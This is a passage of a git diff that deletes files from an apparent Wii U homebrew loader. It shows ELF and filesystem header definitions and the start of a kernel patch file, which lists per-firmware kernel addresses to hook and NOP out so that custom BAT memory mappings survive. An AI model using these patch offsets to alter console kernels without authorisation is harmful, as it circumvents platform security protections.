*/ -#define ELFDATANUM 3 /* number of data encode defines */ - -/* e_ident[] OS/ABI specific ELF extensions */ -#define ELFOSABI_NONE 0 /* No extension specified */ -#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */ -#define ELFOSABI_NETBSD 2 /* NetBSD */ -#define ELFOSABI_LINUX 3 /* Linux */ -#define ELFOSABI_SOLARIS 6 /* Sun Solaris */ -#define ELFOSABI_AIX 7 /* AIX */ -#define ELFOSABI_IRIX 8 /* IRIX */ -#define ELFOSABI_FREEBSD 9 /* FreeBSD */ -#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */ -#define ELFOSABI_MODESTO 11 /* Novell Modesto */ -#define ELFOSABI_OPENBSD 12 /* OpenBSD */ -/* 64-255 Architecture-specific value range */ - -/* e_ident[] ABI Version */ -#define ELFABIVERSION 0 - -/* e_ident */ -#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \ - (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \ - (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \ - (ehdr).e_ident[EI_MAG3] == ELFMAG3) - -/* ELF Header */ -typedef struct elfhdr{ - unsigned char e_ident[EI_NIDENT]; /* ELF Identification */ - Elf32_Half e_type; /* object file type */ - Elf32_Half e_machine; /* machine */ - Elf32_Word e_version; /* object file version */ - Elf32_Addr e_entry; /* virtual entry point */ - Elf32_Off e_phoff; /* program header table offset */ - Elf32_Off e_shoff; /* section header table offset */ - Elf32_Word e_flags; /* processor-specific flags */ - Elf32_Half e_ehsize; /* ELF header size */ - Elf32_Half e_phentsize; /* program header entry size */ - Elf32_Half e_phnum; /* number of program header entries */ - Elf32_Half e_shentsize; /* section header entry size */ - Elf32_Half e_shnum; /* number of section header entries */ - Elf32_Half e_shstrndx; /* section header table's "section - header string table" entry offset */ -} Elf32_Ehdr; - -/* e_type */ -#define ET_NONE 0 /* No file type */ -#define ET_REL 1 /* relocatable file */ -#define ET_EXEC 2 /* executable file */ -#define ET_DYN 3 /* shared object file */ -#define ET_CORE 4 /* core file */ -#define ET_NUM 5 /* number of types */ -#define ET_LOOS 0xfe00 /* reserved range for operating */ -#define ET_HIOS 0xfeff /* system specific e_type */ -#define ET_LOPROC 0xff00 /* reserved range for processor */ -#define ET_HIPROC 0xffff /* specific e_type */ - -/* e_machine */ -#define EM_NONE 0 /* No Machine */ -#define EM_M32 1 /* AT&T WE 32100 */ -#define EM_SPARC 2 /* SPARC */ -#define EM_386 3 /* Intel 80386 */ -#define EM_68K 4 /* Motorola 68000 */ -#define EM_88K 5 /* Motorola 88000 */ -#if 0 -#define EM_486 6 /* RESERVED - was Intel 80486 */ -#endif -#define EM_860 7 /* Intel 80860 */ -#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */ -#define EM_S370 9 /* IBM System/370 Processor */ -#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */ -#if 0 -#define EM_SPARC64 11 /* RESERVED - was SPARC v9 - 64-bit unoffical */ -#endif -/* RESERVED 11-14 for future use */ -#define EM_PARISC 15 /* HPPA */ -/* RESERVED 16 for future use */ -#define EM_VPP500 17 /* Fujitsu VPP500 */ -#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */ -#define EM_960 19 /* Intel 80960 */ -#define EM_PPC 20 /* PowerPC */ -#define EM_PPC64 21 /* 64-bit PowerPC */ -#define EM_S390 22 /* IBM System/390 Processor */ -/* RESERVED 23-35 for future use */ -#define EM_V800 36 /* NEC V800 */ -#define EM_FR20 37 /* Fujitsu FR20 */ -#define EM_RH32 38 /* TRW RH-32 */ -#define EM_RCE 39 /* Motorola RCE */ -#define EM_ARM 40 /* Advanced Risc Machines ARM */ -#define EM_ALPHA 41 /* Digital Alpha */ -#define EM_SH 42 /* Hitachi SH */ -#define EM_SPARCV9 43 /* SPARC Version 9 */ -#define EM_TRICORE 44 /* Siemens TriCore embedded processor */ -#define EM_ARC 45 /* Argonaut RISC Core */ -#define EM_H8_300 46 /* Hitachi H8/300 */ -#define EM_H8_300H 47 /* Hitachi H8/300H */ -#define EM_H8S 48 /* Hitachi H8S */ -#define EM_H8_500 49 /* Hitachi H8/500 */ -#define EM_IA_64 50 /* Intel Merced */ -#define EM_MIPS_X 51 /* Stanford MIPS-X */ -#define EM_COLDFIRE 52 /* Motorola Coldfire */ -#define EM_68HC12 53 /* Motorola M68HC12 */ -#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/ -#define EM_PCP 55 /* Siemens PCP */ -#define EM_NCPU 56 /* Sony nCPU embeeded RISC */ -#define EM_NDR1 57 /* Denso NDR1 microprocessor */ -#define EM_STARCORE 58 /* Motorola Start*Core processor */ -#define EM_ME16 59 /* Toyota ME16 processor */ -#define EM_ST100 60 /* STMicroelectronic ST100 processor */ -#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/ -#define EM_X86_64 62 /* AMD x86-64 */ -#define EM_PDSP 63 /* Sony DSP Processor */ -/* RESERVED 64,65 for future use */ -#define EM_FX66 66 /* Siemens FX66 microcontroller */ -#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */ -#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */ -#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */ -#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */ -#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */ -#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */ -#define EM_SVX 73 /* Silicon Graphics SVx */ -#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */ -#define EM_VAX 75 /* Digital VAX */ -#define EM_CHRIS 76 /* Axis Communications embedded proc. */ -#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */ -#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */ -#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */ -#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */ -#define EM_HUANY 81 /* Harvard University mach-indep objs */ -#define EM_PRISM 82 /* SiTera Prism */ -#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */ -#define EM_FR30 84 /* Fujitsu FR30 */ -#define EM_D10V 85 /* Mitsubishi DV10V */ -#define EM_D30V 86 /* Mitsubishi DV30V */ -#define EM_V850 87 /* NEC v850 */ -#define EM_M32R 88 /* Mitsubishi M32R */ -#define EM_MN10300 89 /* Matsushita MN10200 */ -#define EM_MN10200 90 /* Matsushita MN10200 */ -#define EM_PJ 91 /* picoJava */ -#define EM_NUM 92 /* number of machine types */ - -/* Version */ -#define EV_NONE 0 /* Invalid */ -#define EV_CURRENT 1 /* Current */ -#define EV_NUM 2 /* number of versions */ - -/* Section Header */ -typedef struct { - Elf32_Word sh_name; /* name - index into section header - string table section */ - Elf32_Word sh_type; /* type */ - Elf32_Word sh_flags; /* flags */ - Elf32_Addr sh_addr; /* address */ - Elf32_Off sh_offset; /* file offset */ - Elf32_Word sh_size; /* section size */ - Elf32_Word sh_link; /* section header table index link */ - Elf32_Word sh_info; /* extra information */ - Elf32_Word sh_addralign; /* address alignment */ - Elf32_Word sh_entsize; /* section entry size */ -} Elf32_Shdr; - -/* Special Section Indexes */ -#define SHN_UNDEF 0 /* undefined */ -#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */ -#define SHN_LOPROC 0xff00 /* reserved range for processor */ -#define SHN_HIPROC 0xff1f /* specific section indexes */ -#define SHN_LOOS 0xff20 /* reserved range for operating */ -#define SHN_HIOS 0xff3f /* specific semantics */ -#define SHN_ABS 0xfff1 /* absolute value */ -#define SHN_COMMON 0xfff2 /* common symbol */ -#define SHN_XINDEX 0xffff /* Index is an extra table */ -#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */ - -/* sh_type */ -#define SHT_NULL 0 /* inactive */ -#define SHT_PROGBITS 1 /* program defined information */ -#define SHT_SYMTAB 2 /* symbol table section */ -#define SHT_STRTAB 3 /* string table section */ -#define SHT_RELA 4 /* relocation section with addends*/ -#define SHT_HASH 5 /* symbol hash table section */ -#define SHT_DYNAMIC 6 /* dynamic section */ -#define SHT_NOTE 7 /* note section */ -#define SHT_NOBITS 8 /* no space section */ -#define SHT_REL 9 /* relation section without addends */ -#define SHT_SHLIB 10 /* reserved - purpose unknown */ -#define SHT_DYNSYM 11 /* dynamic symbol table section */ -#define SHT_INIT_ARRAY 14 /* Array of constructors */ -#define SHT_FINI_ARRAY 15 /* Array of destructors */ -#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */ -#define SHT_GROUP 17 /* Section group */ -#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */ -#define SHT_NUM 19 /* number of section types */ -#define SHT_LOOS 0x60000000 /* Start OS-specific */ -#define SHT_HIOS 0x6fffffff /* End OS-specific */ -#define SHT_LOPROC 0x70000000 /* reserved range for processor */ -#define SHT_HIPROC 0x7fffffff /* specific section header types */ -#define SHT_LOUSER 0x80000000 /* reserved range for application */ -#define SHT_HIUSER 0xffffffff /* specific indexes */ - -/* Section names */ -#define ELF_BSS ".bss" /* uninitialized data */ -#define ELF_COMMENT ".comment" /* version control information */ -#define ELF_DATA ".data" /* initialized data */ -#define ELF_DATA1 ".data1" /* initialized data */ -#define ELF_DEBUG ".debug" /* debug */ -#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */ -#define ELF_DYNSTR ".dynstr" /* dynamic string table */ -#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */ -#define ELF_FINI ".fini" /* termination code */ -#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */ -#define ELF_GOT ".got" /* global offset table */ -#define ELF_HASH ".hash" /* symbol hash table */ -#define ELF_INIT ".init" /* initialization code */ -#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */ -#define ELF_INTERP ".interp" /* Pathname of program interpreter */ -#define ELF_LINE ".line" /* Symbolic line numnber information */ -#define ELF_NOTE ".note" /* Contains note section */ -#define ELF_PLT ".plt" /* Procedure linkage table */ -#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */ -#define ELF_REL_DATA ".rel.data" /* relocation data */ -#define ELF_REL_FINI ".rel.fini" /* relocation termination code */ -#define ELF_REL_INIT ".rel.init" /* relocation initialization code */ -#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */ -#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */ -#define ELF_REL_TEXT ".rel.text" /* relocation code */ -#define ELF_RODATA ".rodata" /* read-only data */ -#define ELF_RODATA1 ".rodata1" /* read-only data */ -#define ELF_SHSTRTAB ".shstrtab" /* section header string table */ -#define ELF_STRTAB ".strtab" /* string table */ -#define ELF_SYMTAB ".symtab" /* symbol table */ -#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */ -#define ELF_TBSS ".tbss" /* thread local uninit data */ -#define ELF_TDATA ".tdata" /* thread local init data */ -#define ELF_TDATA1 ".tdata1" /* thread local init data */ -#define ELF_TEXT ".text" /* code */ - -/* Section Attribute Flags - sh_flags */ -#define SHF_WRITE 0x1 /* Writable */ -#define SHF_ALLOC 0x2 /* occupies memory */ -#define SHF_EXECINSTR 0x4 /* executable */ -#define SHF_MERGE 0x10 /* Might be merged */ -#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */ -#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */ -#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/ -#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */ -#define SHF_GROUP 0x200 /* Member of section group */ -#define SHF_TLS 0x400 /* Thread local storage */ -#define SHF_MASKOS 0x0ff00000 /* OS specific */ -#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific section attributes */ - -/* Section Group Flags */ -#define GRP_COMDAT 0x1 /* COMDAT group */ -#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */ -#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */ - -/* Symbol Table Entry */ -typedef struct elf32_sym { - Elf32_Word st_name; /* name - index into string table */ - Elf32_Addr st_value; /* symbol value */ - Elf32_Word st_size; /* symbol size */ - unsigned char st_info; /* type and binding */ - unsigned char st_other; /* 0 - no defined meaning */ - Elf32_Half st_shndx; /* section header index */ -} Elf32_Sym; - -/* Symbol table index */ -#define STN_UNDEF 0 /* undefined */ - -/* Extract symbol info - st_info */ -#define ELF32_ST_BIND(x) ((x) >> 4) -#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf) -#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf)) -#define ELF32_ST_VISIBILITY(x) ((x) & 0x3) - -/* Symbol Binding - ELF32_ST_BIND - st_info */ -#define STB_LOCAL 0 /* Local symbol */ -#define STB_GLOBAL 1 /* Global symbol */ -#define STB_WEAK 2 /* like global - lower precedence */ -#define STB_NUM 3 /* number of symbol bindings */ -#define STB_LOOS 10 /* reserved range for operating */ -#define STB_HIOS 12 /* system specific symbol bindings */ -#define STB_LOPROC 13 /* reserved range for processor */ -#define STB_HIPROC 15 /* specific symbol bindings */ - -/* Symbol type - ELF32_ST_TYPE - st_info */ -#define STT_NOTYPE 0 /* not specified */ -#define STT_OBJECT 1 /* data object */ -#define STT_FUNC 2 /* function */ -#define STT_SECTION 3 /* section */ -#define STT_FILE 4 /* file */ -#define STT_NUM 5 /* number of symbol types */ -#define STT_TLS 6 /* Thread local storage symbol */ -#define STT_LOOS 10 /* reserved range for operating */ -#define STT_HIOS 12 /* system specific symbol types */ -#define STT_LOPROC 13 /* reserved range for processor */ -#define STT_HIPROC 15 /* specific symbol types */ - -/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */ -#define STV_DEFAULT 0 /* Normal visibility rules */ -#define STV_INTERNAL 1 /* Processor specific hidden class */ -#define STV_HIDDEN 2 /* Symbol unavailable in other mods */ -#define STV_PROTECTED 3 /* Not preemptible, not exported */ - - -/* Relocation entry with implicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ -} Elf32_Rel; - -/* Relocation entry with explicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ - Elf32_Sword r_addend; -} Elf32_Rela; - -/* Extract relocation info - r_info */ -#define ELF32_R_SYM(i) ((i) >> 8) -#define ELF32_R_TYPE(i) ((unsigned char) (i)) -#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t)) - -/* Program Header */ -typedef struct { - Elf32_Word p_type; /* segment type */ - Elf32_Off p_offset; /* segment offset */ - Elf32_Addr p_vaddr; /* virtual address of segment */ - Elf32_Addr p_paddr; /* physical address - ignored? */ - Elf32_Word p_filesz; /* number of bytes in file for seg. */ - Elf32_Word p_memsz; /* number of bytes in mem. for seg. */ - Elf32_Word p_flags; /* flags */ - Elf32_Word p_align; /* memory alignment */ -} Elf32_Phdr; - -/* Segment types - p_type */ -#define PT_NULL 0 /* unused */ -#define PT_LOAD 1 /* loadable segment */ -#define PT_DYNAMIC 2 /* dynamic linking section */ -#define PT_INTERP 3 /* the RTLD */ -#define PT_NOTE 4 /* auxiliary information */ -#define PT_SHLIB 5 /* reserved - purpose undefined */ -#define PT_PHDR 6 /* program header */ -#define PT_TLS 7 /* Thread local storage template */ -#define PT_NUM 8 /* Number of segment types */ -#define PT_LOOS 0x60000000 /* reserved range for operating */ -#define PT_HIOS 0x6fffffff /* system specific segment types */ -#define PT_LOPROC 0x70000000 /* reserved range for processor */ -#define PT_HIPROC 0x7fffffff /* specific segment types */ - -/* Segment flags - p_flags */ -#define PF_X 0x1 /* Executable */ -#define PF_W 0x2 /* Writable */ -#define PF_R 0x4 /* Readable */ -#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */ -#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific segment flags */ -/* Dynamic structure */ -typedef struct -{ - Elf32_Sword d_tag; /* controls meaning of d_val */ - union - { - Elf32_Word d_val; /* Multiple meanings - see d_tag */ - Elf32_Addr d_ptr; /* program virtual address */ - } d_un; -} Elf32_Dyn; - -extern Elf32_Dyn _DYNAMIC[]; - -/* Dynamic Array Tags - d_tag */ -#define DT_NULL 0 /* marks end of _DYNAMIC array */ -#define DT_NEEDED 1 /* string table offset of needed lib */ -#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */ -#define DT_PLTGOT 3 /* address PLT/GOT */ -#define DT_HASH 4 /* address of symbol hash table */ -#define DT_STRTAB 5 /* address of string table */ -#define DT_SYMTAB 6 /* address of symbol table */ -#define DT_RELA 7 /* address of relocation table */ -#define DT_RELASZ 8 /* size of relocation table */ -#define DT_RELAENT 9 /* size of relocation entry */ -#define DT_STRSZ 10 /* size of string table */ -#define DT_SYMENT 11 /* size of symbol table entry */ -#define DT_INIT 12 /* address of initialization func. */ -#define DT_FINI 13 /* address of termination function */ -#define DT_SONAME 14 /* string table offset of shared obj */ -#define DT_RPATH 15 /* string table offset of library - search path */ -#define DT_SYMBOLIC 16 /* start sym search in shared obj. */ -#define DT_REL 17 /* address of rel. tbl. w addends */ -#define DT_RELSZ 18 /* size of DT_REL relocation table */ -#define DT_RELENT 19 /* size of DT_REL relocation entry */ -#define DT_PLTREL 20 /* PLT referenced relocation entry */ -#define DT_DEBUG 21 /* bugger */ -#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */ -#define DT_JMPREL 23 /* add. of PLT's relocation entries */ -#define DT_BIND_NOW 24 /* Process relocations of object */ -#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ -#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ -#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ -#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ -#define DT_RUNPATH 29 /* Library search path */ -#define DT_FLAGS 30 /* Flags for the object being loaded */ -#define DT_ENCODING 32 /* Start of encoded range */ -#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ -#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ -#define DT_NUM 34 /* Number used. */ -#define DT_LOOS 0x60000000 /* reserved range for OS */ -#define DT_HIOS 0x6fffffff /* specific dynamic array tags */ -#define DT_LOPROC 0x70000000 /* reserved range for processor */ -#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */ - -/* Dynamic Tag Flags - d_un.d_val */ -#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */ -#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */ -#define DF_TEXTREL 0x04 /* Object contains text relocations */ -#define DF_BIND_NOW 0x08 /* No lazy binding for this object */ -#define DF_STATIC_TLS 0x10 /* Static thread local storage */ - -/* Standard ELF hashing function */ -unsigned long elf_hash(const unsigned char *name); - -#define ELF_TARG_VER 1 /* The ver for which this code is intended */ - -/* - * XXX - PowerPC defines really don't belong in here, - * but we'll put them in for simplicity. - */ - -/* Values for Elf32/64_Ehdr.e_flags. */ -#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */ - -/* Cygnus local bits below */ -#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/ -#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib - flag */ - -/* PowerPC relocations defined by the ABIs */ -#define R_PPC_NONE 0 -#define R_PPC_ADDR32 1 /* 32bit absolute address */ -#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */ -#define R_PPC_ADDR16 3 /* 16bit absolute address */ -#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */ -#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */ -#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */ -#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */ -#define R_PPC_ADDR14_BRTAKEN 8 -#define R_PPC_ADDR14_BRNTAKEN 9 -#define R_PPC_REL24 10 /* PC relative 26 bit */ -#define R_PPC_REL14 11 /* PC relative 16 bit */ -#define R_PPC_REL14_BRTAKEN 12 -#define R_PPC_REL14_BRNTAKEN 13 -#define R_PPC_GOT16 14 -#define R_PPC_GOT16_LO 15 -#define R_PPC_GOT16_HI 16 -#define R_PPC_GOT16_HA 17 -#define R_PPC_PLTREL24 18 -#define R_PPC_COPY 19 -#define R_PPC_GLOB_DAT 20 -#define R_PPC_JMP_SLOT 21 -#define R_PPC_RELATIVE 22 -#define R_PPC_LOCAL24PC 23 -#define R_PPC_UADDR32 24 -#define R_PPC_UADDR16 25 -#define R_PPC_REL32 26 -#define R_PPC_PLT32 27 -#define R_PPC_PLTREL32 28 -#define R_PPC_PLT16_LO 29 -#define R_PPC_PLT16_HI 30 -#define R_PPC_PLT16_HA 31 -#define R_PPC_SDAREL16 32 -#define R_PPC_SECTOFF 33 -#define R_PPC_SECTOFF_LO 34 -#define R_PPC_SECTOFF_HI 35 -#define R_PPC_SECTOFF_HA 36 -/* Keep this the last entry. */ -#define R_PPC_NUM 37 - -/* The remaining relocs are from the Embedded ELF ABI, and are not - in the SVR4 ELF ABI. */ -#define R_PPC_EMB_NADDR32 101 -#define R_PPC_EMB_NADDR16 102 -#define R_PPC_EMB_NADDR16_LO 103 -#define R_PPC_EMB_NADDR16_HI 104 -#define R_PPC_EMB_NADDR16_HA 105 -#define R_PPC_EMB_SDAI16 106 -#define R_PPC_EMB_SDA2I16 107 -#define R_PPC_EMB_SDA2REL 108 -#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */ -#define R_PPC_EMB_MRKREF 110 -#define R_PPC_EMB_RELSEC16 111 -#define R_PPC_EMB_RELST_LO 112 -#define R_PPC_EMB_RELST_HI 113 -#define R_PPC_EMB_RELST_HA 114 -#define R_PPC_EMB_BIT_FLD 115 -#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */ - -/* Diab tool relocations. */ -#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */ -#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */ -#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */ -#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */ -#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */ -#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */ - -/* This is a phony reloc to handle any old fashioned TOC16 references - that may still be in object files. */ -#define R_PPC_TOC16 255 - -#endif /* _ELF_H */ diff --git a/dsrom/vwii_loader/fs_defs.h b/dsrom/vwii_loader/fs_defs.h deleted file mode 100644 index 1b3795b..0000000 --- a/dsrom/vwii_loader/fs_defs.h +++ /dev/null @@ -1,60 +0,0 @@ -#ifndef FS_DEFS_H -#define FS_DEFS_H - -#ifdef __cplusplus -extern "C" { -#endif - - -/* FS defines and types */ -#define FS_MAX_LOCALPATH_SIZE 511 -#define FS_MAX_MOUNTPATH_SIZE 128 -#define FS_MAX_FULLPATH_SIZE (FS_MAX_LOCALPATH_SIZE + FS_MAX_MOUNTPATH_SIZE) -#define FS_MAX_ARGPATH_SIZE FS_MAX_FULLPATH_SIZE - -#define FS_STATUS_OK 0 -#define FS_RET_UNSUPPORTED_CMD 0x0400 -#define FS_RET_NO_ERROR 0x0000 -#define FS_RET_ALL_ERROR (unsigned int)(-1) - -#define FS_STAT_FLAG_IS_DIRECTORY 0x80000000 - -/* max length of file/dir name */ -#define FS_MAX_ENTNAME_SIZE 256 - -#define FS_SOURCETYPE_EXTERNAL 0 -#define FS_SOURCETYPE_HFIO 1 -#define FS_SOURCETYPE_HFIO 1 - -#define FS_MOUNT_SOURCE_SIZE 0x300 -#define FS_CLIENT_SIZE 0x1700 -#define FS_CMD_BLOCK_SIZE 0xA80 - -typedef struct -{ - uint32_t flag; - uint32_t permission; - uint32_t owner_id; - uint32_t group_id; - uint32_t size; - uint32_t alloc_size; - uint64_t quota_size; - uint32_t ent_id; - uint64_t ctime; - uint64_t mtime; - uint8_t attributes[48]; -} __attribute__((packed)) FSStat; - -typedef struct -{ - FSStat stat; - char name[FS_MAX_ENTNAME_SIZE]; -} FSDirEntry; - - -#ifdef __cplusplus -} -#endif - -#endif /* FS_DEFS_H */ - diff --git a/dsrom/vwii_loader/kernel_patches.S b/dsrom/vwii_loader/kernel_patches.S deleted file mode 100644 index f5c0936..0000000 --- a/dsrom/vwii_loader/kernel_patches.S +++ /dev/null @@ -1,282 +0,0 @@ -#if (VER == 550) - #define BAT_SETUP_HOOK_ADDR 0xFFF1D624 - # not all of those NOP address are required for every firmware - # mainly these should stop the kernel from removing our IBAT4 and DBAT5 - #define BAT_SET_NOP_ADDR_1 0xFFF06B6C - #define BAT_SET_NOP_ADDR_2 0xFFF06BF8 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1D70C - #define BAT_SET_NOP_ADDR_6 0xFFF1D728 - #define BAT_SET_NOP_ADDR_7 0xFFF1D82C - - #define BAT_SET_NOP_ADDR_8 0xFFEE11C4 - #define BAT_SET_NOP_ADDR_9 0xFFEE11C8 - -#elif ((VER == 532) || (VER == 540)) - #define BAT_SETUP_HOOK_ADDR 0xFFF1D638 - - # not all of those NOP address are required for every firmware - # mainly these should stop the kernel from removing our IBAT4 and DBAT5 - #define BAT_SET_NOP_ADDR_1 0xFFF06A14 - #define BAT_SET_NOP_ADDR_2 0xFFF06AA0 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1D720 - #define BAT_SET_NOP_ADDR_6 0xFFF1D73C - #define BAT_SET_NOP_ADDR_7 0xFFF1D840 - - #define BAT_SET_NOP_ADDR_8 0xFFEE10B8 - #define BAT_SET_NOP_ADDR_9 0xFFEE10BC - -#elif ((VER == 500) || (VER == 510)) - #define BAT_SETUP_HOOK_ADDR 0xFFF1D518 - - #define BAT_SET_NOP_ADDR_1 0xFFF0697C - #define BAT_SET_NOP_ADDR_2 0xFFF06A08 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1D600 - #define BAT_SET_NOP_ADDR_6 0xFFF1D61C - #define BAT_SET_NOP_ADDR_7 0xFFF1D720 - - #define BAT_SET_NOP_ADDR_8 0xFFEE10B8 - #define BAT_SET_NOP_ADDR_9 0xFFEE10BC -#elif VER == 410 - #define BAT_SETUP_HOOK_ADDR 0xFFF1AD00 - - #define BAT_SET_NOP_ADDR_1 0xFFF06708 - #define BAT_SET_NOP_ADDR_2 0xFFF06794 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1ADE8 - #define BAT_SET_NOP_ADDR_6 0xFFF1AE04 - #define BAT_SET_NOP_ADDR_7 0xFFF1AF08 - - #define BAT_SET_NOP_ADDR_8 0xFFEE10B8 - #define BAT_SET_NOP_ADDR_9 0xFFEE10BC -#elif VER == 400 - #define BAT_SETUP_HOOK_ADDR 0xFFF1A440 - - #define BAT_SET_NOP_ADDR_1 0xFFF066FC - #define BAT_SET_NOP_ADDR_2 0xFFF06788 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1A528 - #define BAT_SET_NOP_ADDR_6 0xFFF1A544 - //define BAT_SET_NOP_ADDR_7 not present in 400 - - #define BAT_SET_NOP_ADDR_8 0xFFEE0F50 - #define BAT_SET_NOP_ADDR_9 0xFFEE0F54 -#elif (VER == 310) - #define BAT_SETUP_HOOK_ADDR 0xFFF19EC4 - - #define BAT_SET_NOP_ADDR_1 0xFFF06590 - #define BAT_SET_NOP_ADDR_2 0xFFF0661C - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF19FAC - #define BAT_SET_NOP_ADDR_6 0xFFF19FC8 -// #define BAT_SET_NOP_ADDR_7 not present in 3.1.0 - - #define BAT_SET_NOP_ADDR_8 0xFFEE0FB0 - #define BAT_SET_NOP_ADDR_9 0xFFEE0FB4 -#elif (VER == 300) - #define BAT_SETUP_HOOK_ADDR 0xFFF19E2C - - #define BAT_SET_NOP_ADDR_1 0xFFF06590 - #define BAT_SET_NOP_ADDR_2 0xFFF0661C - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF19F14 - #define BAT_SET_NOP_ADDR_6 0xFFF19F30 -// #define BAT_SET_NOP_ADDR_7 not present in 3.0.x - - #define BAT_SET_NOP_ADDR_8 0xFFEE0DB8 - #define BAT_SET_NOP_ADDR_9 0xFFEE0DBC -#else - #error Please define valid values for kernel setup. -#endif - -#ifdef USE_SD_LOADER - #define BAT_SETUP_HOOK_ENTRY 0x00800000 -#else - #define BAT_SETUP_HOOK_ENTRY (0x00800000 + 0x2000) -#endif - -#define BAT4U_VAL 0x008000FF -#if VER >= 410 - #define BAT4L_VAL 0x30800012 -#elif VER <= 400 - #define BAT4L_VAL 0x4E800012 -#else - #error Please define valid value for firmware setup. -#endif - -#define 